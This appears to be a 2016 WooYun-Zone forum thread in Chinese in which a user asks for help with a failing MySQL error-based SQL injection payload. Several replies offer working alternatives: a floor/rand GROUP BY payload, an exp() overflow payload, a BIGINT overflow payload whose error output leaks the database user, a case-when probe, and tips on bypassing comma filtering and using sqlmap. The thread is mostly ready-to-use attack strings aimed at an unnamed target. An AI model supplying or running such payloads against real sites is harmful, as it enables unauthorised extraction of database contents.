- A+
所属分类：WooYun-Zone
AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e21,database(),0x217e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY X)a)
是不是哪里写错了？求助
关注mysql报错注入问题
-
1#
U神 (此号被社！by 泳少) | 2016-04-23 13:09
%23 or #
-
2#
U神 (此号被社！by 泳少) | 2016-04-23 13:10
and 1=(select 1 from (select count(*),concat((SQL查询语句),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-
-
4#
U神 (此号被社！by 泳少) | 2016-04-23 13:24
你用sqlmap跑啊，你没发现逗号都变成了and吗
-
5#
′ 雨。 | 2016-04-23 13:26
1 and exp(~(select*from(select user())x))#
-
-
7#
null_z | 2016-04-23 13:41
你这个过滤了逗号
-
-
9#
偶然 | 2016-04-23 13:45
@′ 雨。 求给个完整的exp，，，
-
楼上雨神的试一下，如果不行看看是过滤了其他的，还是版本问题不能用exp报错，试试(case when 1=1 then 1 else (select 1 union select 2) end)%23
-
11#
x7iao (宇宙黑阔。) | 2016-04-23 14:00
楼上各位表哥帮忙看下 解决wb感谢
http://zone.wooyun.org/content/26764 -
12#
mramydnei (一个逗逼运维) | 2016-04-24 11:29
mysql> select 1,2,3,4 from dual where 1=1 and (select ~0+!(select*from(select user())x));
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))' -
